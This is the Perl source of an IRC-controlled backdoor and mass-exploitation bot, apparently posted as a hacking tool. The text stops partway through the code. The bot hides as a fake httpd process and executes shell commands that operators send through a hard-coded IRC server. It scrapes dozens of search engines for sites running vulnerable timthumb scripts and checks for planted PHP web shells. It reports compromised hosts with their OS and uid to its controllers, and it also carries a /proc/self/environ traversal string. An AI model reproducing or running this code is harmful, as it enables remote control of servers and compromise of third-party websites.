Timthumb Bot [Perl]







#!/usr/bin/perl
#############################
##################### Timthumb v 1.02 ##############
#########################################################


use HTTP::Request;                                      #
use HTTP::Request::Common;                              #
use HTTP::Request::Common qw(POST);                     #
use LWP::Simple;                                        #
use LWP 5.64;                                           #
use LWP::UserAgent;                                     #
use Socket;                                             #
use IO::Socket;                                         #
use IO::Socket::INET;                                   #
use IO::Select;                                         #
use MIME::Base64;                         #
#########################################################

my $datetime  = localtime;

my $fakeproc  = "/usr/sbin/httpd";
my $ircserver = '94.249.208.164' unless $ircserver;
my $ircport   = '6667';
my $nickname  = "jatimcrew";
my $ident     = "jatimcrew";
my $channel   = "#IRH";
my $admin     = "bom2stalker";

my $username  = " 4,1( 9@ IRH 4,1) ";
my $thumblogo = " 4,1( 9! 0timthumb 4,1)";

my $thumbcmd  = '!tim';

my $thumbshell   = "shell.php";
my $stalker1   = "/cache/1ca925cd2bacd505294eb39c9f85233f.php";
my $stalker2   = "/cache/external_1ca925cd2bacd505294eb39c9f85233f.php";
my $stalker3   = "/temp/1ca925cd2bacd505294eb39c9f85233f.php";               
my $stalker4   = "/temp/external_1ca925cd2bacd505294eb39c9f85233f.php";          
my $stalker5   = "/wp-content/uploads/thumb-temp/1ca925cd2bacd505294eb39c9f85233f.php";

my $engine   ="GooGLe,ReDiff,Bing,ALtaViSTa,AsK,UoL,CluSty,GutSer,GooGle2,ExaLead,VirgiLio,WebDe,AoL,SaPo,DuCk,YauSe,BaiDu,KiPoT,GiBLa,YahOo,HotBot,LyCos,LyGo,BLacK,oNeT,SiZuka,WaLLa,DeMos,RoSe,SeZnaM,TisCali,NaVeR,Clix,Search66,BigLobe,InteRia,PaGIna";
my @uagents   = ("Mozilla/5.0 (compatible; Googlebot/2.0; +http://www.google.com/bot.html)","FreeWebMonitoring SiteChecker/0.1 (+http://www.freewebmonitoring.com)",
      "Gigabot/3.0 (http://www.gigablast.com/spider.html)","gsa-crawler (Enterprise; GID-01422; jplastiras@google.com)","Mozilla/5.0 (Windows; U; Windows NT 5.1;en-US;rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12",
      "IlTrovatore-Setaccio/1.2 (http://www.iltrovatore.it/aiuto/faq.html)","Mozilla/5.0 (Windows;U;Windows NT 5.1; l-PL;rv:1.8.1.24pre) Gecko/20100228 K-Meleon/1.5.4",
      "Infoseek SideWinder/2.0B (Linux 2.4 i686)","Mozilla/5.0 (X11;U;Linux i686 (x86_64);en-US;rv:1.9.0.16) Gecko/2009122206 Firefox/3.0.16 Flock/2.5.6",
      "Mozilla/5.0 (compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html)","Mozilla/5.0 (Windows;U;Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1",
      "Mozilla/5.0 (compatible;bingbot/2.0;+http://www.bing.com/bingbot.htm)","Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)");
my $uagent    = $uagents[rand(scalar(@uagents))];
my $lfdtest   = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ";

print ('Ps-X TeaM');

$SIG{'INT'}   = 'IGNORE';
$SIG{'HUP'}   = 'IGNORE';
$SIG{'TERM'}  = 'IGNORE';
$SIG{'CHLD'}  = 'IGNORE';
$SIG{'PS'}    = 'IGNORE';

chdir("/");
$ircserver = "$ARGV[0]" if $ARGV[0];
$0 = "$fakeproc"."\0" x 16;
my $pid = fork;
exit if $pid;
die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_client = IO::Select->new();
sub sendraw {
    if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
    } else {
        print $IRC_cur_socket "$_[0]\n";
    }
}

sub connector {
    my $mynick = $_[0];
    my $ircserver_con = $_[1];
    my $ircport_con = $_[2];
    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
    if (defined($IRC_socket)) {
        $IRC_cur_socket = $IRC_socket;
        $IRC_socket->autoflush(1);
        $sel_client->add($IRC_socket);
        $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
        $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
        $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
        $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
        nick("$mynick");
        sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$username");
        sleep (1);
    }
}

sub parse {
    my $servarg = shift;
    if ($servarg =~ /^PING \:(.*)/) {
        sendraw("PONG :$1");
    }
    elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
        if (lc($1) eq lc($mynick)) {
            $mynick = $4;
            $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
        }
    }
    elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
        nick("$mynick".int rand(999));
    }
    elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
        $mynick = $2;
        $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
        sendraw("MODE $mynick +i");
        sendraw("JOIN $channel");
        sleep(1);
        sendraw("PRIVMSG $channel :irhtim ready");
        sendraw("PRIVMSG $admin : 9SIAP");
    }
}

my $line_temp;
while( 1 ) {
    while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
    delete($irc_servers{''}) if (defined($irc_servers{''}));
    my @ready = $sel_client->can_read(0);
    next unless(@ready);
    foreach $fh (@ready) {
        $IRC_cur_socket = $fh;
        $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
        $nread = sysread($fh, $ircmsg, 4096);
        if ($nread == 0) {
            $sel_client->remove($fh);
            $fh->close;
            delete($irc_servers{$fh});
        }
        @lines = split (/\n/, $ircmsg);
        $ircmsg =~ s/\r\n$//;

        if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
            my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
            if ($path eq $mynick) {
                if ($msg =~ /^ PING (.*) /) {
                    sendraw("NOTICE $nick : PING $1 ");
                }
                if ($msg =~ /^ VERSION /) {
                    sendraw("NOTICE $nick : VERSION mIRC irh ");
                }
                if ($msg =~ /^ TIME /) {
                    sendraw("NOTICE $nick : TIME ".$datetime." ");
                }
                if (&isAdmin($nick) && $msg eq "!die") {
                    &shell("$path","kill -9 $$");
                }
                if (&isAdmin($nick) && $msg eq "!quit") {
                    &shell("$path","killall -9 perl");
                }
                if (&isAdmin($nick) && $msg eq "!rehash") {
                    sendraw("QUIT : 9Restart Proses...");
                }
                if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
                    sendraw("JOIN #".$1);
                }
                if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
                    sendraw("PART #".$1);
                }
                if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
                    sendraw("NICK ".$1);
                }
                if (&isAdmin($nick) && $msg =~ /^!pid/) {
                    sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");
                }
                if (&isAdmin($nick) && $msg !~ /^!/) {
                    &shell("$nick","$msg");
                }
            }
            else {
                if (&isAdmin($nick) && $msg eq "!die") {
                    &shell("$path","kill -9 $$");
                }
                if (&isAdmin($nick) && $msg eq "!quit") {
                    &shell("$path","killall -9 perl");
                }
                if (&isAdmin($nick) && $msg eq "!rehash") {
                    sendraw("QUIT : 9Restart Proses...");
                }
                if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
                    sendraw("JOIN #".$1);
                }
                if (&isAdmin($nick) && $msg eq "!part") {
                    sendraw("PART $path");
                }
                if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
                    sendraw("PART #".$1);
                }
                if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
                    &shell("$path","$1");
                }
                if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
                    &shell("$path","$1");
                }
                ######################################################### HELP COMMAND
                if ($msg=~ /^!help/) {
                    my $helplogo = " 4( 9@ 0Help 4)";
                    &notice("$nick","$helplogo 9################## 12HELP 9################## ");
                    &notice("$nick","$helplogo 0This Bot For TimThumb Scanner Only ");
                    &notice("$nick","$helplogo 4Command : $thumbcmd [bug] [Dork]     ");
                    &notice("$nick","$helplogo 9################## 12irh 9################## ");
                }

                if (&isAdmin($nick) && $msg =~ /^!pid/) {
                    &notice("$nick"," 4,1Fake Process/PID : $fakeproc - $$");
      }

      ######################################################### TIMTHUMB
                if ($msg=~ /^$thumbcmd\s+(.+?)\s+(.*)/) {
                    if (my $pid = fork) {
                        waitpid($pid, 0);
                    }
                    else {
                        if (fork) { exit; } else {
                            my ($bug,$dork) = ($1,$2);
                            &msg("$path","$thumblogo 0Dork : 9 $dork");
                            &msg("$path","$thumblogo 0Bugz : 9 $bug");
                            &msg("$path","$thumblogo 4,1Search Engine Loading ...");
                            &scan_start($path,$bug,$dork,$engine,3);
                        }
                        exit;
                    }
                }               
            }
        }

        for(my $c=0; $c<= $#lines; $c++) {
            $line = $lines[$c];
            $line = $line_temp.$line if ($line_temp);
            $line_temp = '';
            $line =~ s/\r$//;
            unless ($c == $#lines) {
                &parse("$line");
            } else {
                if ($#lines == 0) {
                    &parse("$line");
                } elsif ($lines[$c] =~ /\r$/) {
                    &parse("$line");
                } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
                    &parse("$line");
                } else {
                    $line_temp = $line;
                }
            }
        }
    }
}

#########################################
sub type () {
my ($chan,$bug,$dork,$engine,$type) = @_;
   if ($type == 1){&rfi($chan,$bug,$dork,$engine);}
     elsif ($type == 2){&lfi($chan,$bug,$dork,$engine);}
     elsif ($type == 3){&thumb($chan,$bug,$dork,$engine);}
}

sub scan_start() {
my ($chan,$bug,$dork,$engine,$type) = @_;
    if ($engine =~ /google/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLe",$type); } exit; }
    }
    if ($engine =~ /rediff/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ReDiff",$type); } exit; }
    }
    if ($engine =~ /bing/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bing",$type); } exit; }
    }
    if ($engine =~ /altavista/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ALtaViSTa",$type); } exit; }
    }
    if ($engine =~ /ask/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsK",$type); } exit; }
    }
    if ($engine =~ /uol/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UoL",$type); } exit; }
    }
    if ($engine =~ /yahoo/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOo",$type); } exit; }
    }
    if ($engine =~ /clusty/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CluSty",$type); } exit; }
    }
    if ($engine =~ /gutser/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GutSer",$type); } exit; }
    }
    if ($engine =~ /google2/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGle2",$type); } exit; }
    }
    if ($engine =~ /virgilio/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VirgiLio",$type); } exit; }
    }
    if ($engine =~ /webde/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WebDe",$type); } exit; }
    }
    if ($engine =~ /exalead/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ExaLead",$type); } exit; }
    }
    if ($engine =~ /lycos/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LyCos",$type); } exit; }
    }
    if ($engine =~ /hotbot/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HotBot",$type); } exit; }
    }
    if ($engine =~ /aol/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AoL",$type); } exit; }
    }
    if ($engine =~ /sapo/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SaPo",$type); } exit; }
    }
    if ($engine =~ /duck/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DuCk",$type); } exit; }
    }
    if ($engine =~ /lygo/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LyGo",$type); } exit; }
    }
    if ($engine =~ /yause/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YauSe",$type); } exit; }
    }
    if ($engine =~ /baidu/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BaiDu",$type); } exit; }
    }
    if ($engine =~ /kipot/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KiPoT",$type); } exit; }
    }
    if ($engine =~ /gibla/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GiBLa",$type); } exit; }
    }
    if ($engine =~ /black/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BLacK",$type); } exit; }
    }
    if ($engine =~ /onet/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"oNeT",$type); } exit; }
    }
    if ($engine =~ /sizuka/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SiZuka",$type); } exit; }
    }
    if ($engine =~ /walla/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WaLLa",$type); } exit; }
    }
    if ($engine =~ /demos/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DeMos",$type); } exit; }
    }
    if ($engine =~ /rose/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RoSe",$type); } exit; }
    }
    if ($engine =~ /seznam/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SeZnaM",$type); } exit; }
    }
    if ($engine =~ /tiscali/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TisCali",$type); } exit; }
    }
    if ($engine =~ /naver/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NaVeR",$type); } exit; }
    }
   if ($engine =~ /clix/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Clix",$type); } exit; }
    }
   if ($engine =~ /search66/i) {
   if ($pid = fork) { waitpid($pid, 0); }
   else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Search66",$type); } exit; }
    }
   if ($engine =~ /biglobe/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BigLobe",$type); } exit; }
    }
   if ($engine =~ /interia/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"InteRia",$type); } exit; }
    }
   if ($engine =~ /pagina/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PaGIna",$type); } exit; }
    }

}

######### TIMTHUMB
sub thumb() {
    my $chan = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $engine = $_[3];
    my $count = 0;
    my @list = &search_engine($chan,$bug,$dork,$engine,$thumblogo);
    my $num = scalar(@list);
    if ($num > 0) {
        foreach my $site (@list) {
            $count++;
            if ($count == $num-1) { &msg("$chan","$thumblogo( 9@ 0$engine 4,1) 00 Scan finish "); }
         my $vuln = "http://".$site.$bug."?src=".$thumbshell;
         my $cek  = &get_content($vuln);sleep(1);
         if ($cek =~ /unable to open image/i) {
            &msg("$chan"," 4,1 E 0x 03PL 2o 0i 4,1t 4Z 00 $site");sleep(1);
         (my $stalker = $bug)=~ s{/[^/]+\z}{};
         my $vuln2 = "http://".$site.$stalker.$stalker1;
         my $vuln3 = "http://".$site.$stalker.$stalker2;
         my $vuln4 = "http://".$site.$stalker.$stalker3;
         my $vuln5 = "http://".$site.$stalker.$stalker4;
         my $vuln6 = "http://".$site.$stalker5;
         my $god     = "bom2stalker";
         my $safe   ="";
         my $os      ="";
         my $free   ="";
         my $uid      ="";
         my $check1 = &get_content($vuln2);sleep(1);
         my $check2 = &get_content($vuln3);sleep(1);
         my $check3 = &get_content($vuln4);sleep(1);
         my $check4 = &get_content($vuln5);sleep(1);
         my $check5 = &get_content($vuln6);sleep(1);
         if ($check1 =~ /GIF89a/i) {
         if ($check1 =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
          if ($check1 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}
          if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}
         if ($check1 =~ m/SAFE MODE: (.*?)<\/b><\/font>/) {$safe = $1;}
            &msg("$chan","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0".$vuln2." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");
            &msg("$admin","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0 ".$vuln2." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");
            &msg("$god","Nih Bos ".$vuln2." (SafeMode=$safe) (OS=$os) (total=$free) (uid=$uid ");
         }
         if ($check2 =~ /GIF89a/i) {
         if ($check1 =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
          if ($check1 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}
          if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}
         if ($check1 =~ m/SAFE MODE: (.*?)<\/b><\/font>/) {$safe = $1;}
            &msg("$chan","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0".$vuln3." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");
            &msg("$admin","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0 ".$vuln3." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");
            &msg("$god","Nih Bos ".$vuln3." (SafeMode=$safe) (OS=$os) (total=$free) (uid=$uid ");
         }
         if ($check3 =~ /GIF89a/i) {
         if ($check1 =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
          if ($check1 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}
          if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}
         if ($check1 =~ m/SAFE MODE: (.*?)<\/b><\/font>/) {$safe = $1;}
            &msg("$chan","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0".$vuln4." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");
            &msg("$admin","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0 ".$vuln4." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");
            &msg("$god","Nih Bos ".$vuln4." (SafeMode=$safe) (OS=$os) (total=$free) (uid=$uid ");
         }
         if ($check4 =~ /GIF89a/i) {
         if ($check1 =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
          if ($check1 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}
          if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}
         if ($check1 =~ m/SAFE MODE: (.*?)<\/b><\/font>/) {$safe = $1;}
            &msg("$chan","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0".$vuln5." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");
            &msg("$admin","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0 ".$vuln5." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");
            &msg("$god","Nih Bos ".$vuln5." (SafeMode=$safe) (OS=$os) (total=$free) (uid=$uid ");
         }
         if ($check5 =~ /GIF89a/i) {
         if ($check1 =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
          if ($check1 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}
          if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}
         if ($check1 =~ m/SAFE MODE: (.*?)<\/b><\/font>/) {$safe = $1;}
            &msg("$chan","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0".$vuln6." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");
            &msg("$admin","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0".$vuln6." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");
            &msg("$god","Nih Bos ".$vuln6." (SafeMode=$safe) (OS=$os) (total=$free) (uid=$uid ");
         }
         }
      }
   }
}

#####################################

sub search_engine() {
    my (@total,@clean);
    my $chan = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $engine = $_[3];
    my $logo = $_[4];
    if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
    if ($engine eq "ReDiff") { my @rediff = &rediff($dork); push(@total,@rediff); }
    if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
    if ($engine eq "ALtaViSTa") { my @altavista = &altavista($dork); push(@total,@altavista); }
    if ($engine eq "YahOo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
    if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
    if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
    if ($engine eq "CluSty") { my @clusty = &clusty($dork); push(@total,@clusty); }
    if ($engine eq "GutSer") { my @gutser = &gutser($dork); push(@total,@gutser); }
    if ($engine eq "GooGle2") { my @google2 = &google2($dork); push(@total,@google2); }
    if ($engine eq "ExaLead") { my @exalead = &exalead($dork); push(@total,@exalead); }
    if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
    if ($engine eq "VirgiLio") { my @virgilio = &virgilio($dork); push(@total,@virgilio); }
    if ($engine eq "WebDe") { my @webde = &webde($dork); push(@total,@webde); }
    if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
    if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
    if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
    if ($engine eq "DuCk") { my @duck = &duck($dork); push(@total,@duck); }
    if ($engine eq "LyGo") { my @lygo = &lygo($dork); push(@total,@lygo); }
    if ($engine eq "YauSe") { my @yause = &yause($dork); push(@total,@yause); }
    if ($engine eq "BaiDu") { my @baidu = &baidu($dork); push(@total,@baidu); }
    if ($engine eq "KiPoT") { my @kipot = &kipot($dork); push(@total,@kipot); }
    if ($engine eq "GiBLa") { my @gibla = &gibla($dork); push(@total,@gibla); }
    if ($engine eq "BLacK") { my @black = &black($dork); push(@total,@black); }
    if ($engine eq "oNeT") { my @onet = &onet($dork); push(@total,@onet); }
    if ($engine eq "SiZuka") { my @sizuka = &sizuka($dork); push(@total,@sizuka); }
    if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
    if ($engine eq "DeMos") { my @demos = &demos($dork); push(@total,@demos); }
    if ($engine eq "RoSe") { my @rose = &rose($dork); push(@total,@rose); }
    if ($engine eq "SeZnaM") { my @seznam = &seznam($dork); push(@total,@seznam); }
    if ($engine eq "TisCali") { my @tiscali = &tiscali($dork); push(@total,@tiscali); }
    if ($engine eq "NaVeR") { my @naver = &naver($dork); push(@total,@naver); }   
    if ($engine eq "Clix") { my @clix = &clix($dork); push(@total,@clix); }               
    if ($engine eq "Search66") { my @search66 = &search66($dork); push(@total,@search66); }
    if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }   
    if ($engine eq "InteRia") { my @interia = &interia($dork); push(@total,@interia); }
    if ($engine eq "PaGIna") { my @pagina = pagina($dork); push(@total,@pagina); }
    @clean = clean(@total);
    &msg("$chan","$logo( 4@ 8$engine 15) 4 Total: 0 (".scalar(@total).") 4 Clean: 0 (".scalar(@clean).") ");
    return @clean;
}

#########################################

sub isFound() {
    my $status = 0;
    my $link = $_[0];
    my $reqexp = $_[1];
    my $res = &get_content($link);
    if ($res =~ /$reqexp/) { $status = 1 }
    return $status;
}

sub get_content() {
    my $url = $_[0];
    my $ua = LWP::UserAgent->new(agent => $uagent);
    $ua->timeout(7);
    my $req = HTTP::Request->new(GET => $url);
    my $res = $ua->request($req);
    return $res->content;
}

######################################### SEARCH ENGINE

sub google() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=400; $i+=10){
        my $search = ("http://www.google.com/search?q=".&key($key)."&num=100&filter=0&start=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            if ($1 !~ /google/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub rediff() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=500; $i+=10) {
        my $search = ("http://search1.rediff.com/dirsrch/default.asp?MT=".&key($key)."&iss=&submit=Search&firstres=".$i);
      $b = "$i";
        my $res = &search_engine_query($search);
      if ($res !~ /firstres=$b\'>/) {$i=500;}
        while ($res =~ m/<a href=\"http:\/\/(.*?)\" onmousedown/g) {
            if ($1 !~ /rediff\.com/){
            my $link = $1;
            my @grep = &links($link);
            push(@list,@grep);
         }
        }
    }
    return @list;
}

sub uol() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://mundo.busca.uol.com.br/buscar.html?q=".&key($key)."&start=".$i);
        my $res = &search_engine_query($search);
      if ($res !~ m/<span class=\"next\">pr&#243;xima<\/span>/){$i=500;}
        while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {
            if ($1 !~ /uol\.com/) {
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bing() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".&key($key)."&filt=all&first=".$i."&FORM=PERE");
        my $res = &search_engine_query($search);
      if ($res =~ m/Ref A:/g && $res =~ m/Ref B:/g && $res =~ m/Ref C:/g) {$i=500;}
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            if ($1 !~ /bing\.com/) {
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub altavista() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10){
        my $search = ("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".&key($key)."&stq=".$i);
        my $res = &search_engine_query($search);
      if ($res !~ /target=\"_self\">Succ/) {$i=500;}
        while ($res =~ m/<span class=ngrn>(.+?)\//g) {
            if ($1 !~ /altavista/){
            my $link = $1;
                $link =~ s/<//g;
                $link =~ s/ //g;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub ask() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=50; $i+=1) {
        my $search = ("http://it.ask.com/web?q=".&key($key)."&qsrc=0&o=0&l=dir&qid=EE90DE6E8F5370F363A63EC61228D4FE&page=".$i."&jss=1&dm=all");
        my $res = &search_engine_query($search);
      if ($res !~ /Successiva/) {$i=50;}
        while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) {
            if ($1 !~ /ask\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahoo(){
    my @list;
   my $key = $_[0];
    my $b   = 0;
   for ($b=1; $b<=500; $b+=10) {
        my $search = ("http://search.yahoo.com/search?p=".&key($key)."&b=".$b);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            if ($1 !~ /yahoo\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub clusty() {
    my @list;
   my $key = $_[0];
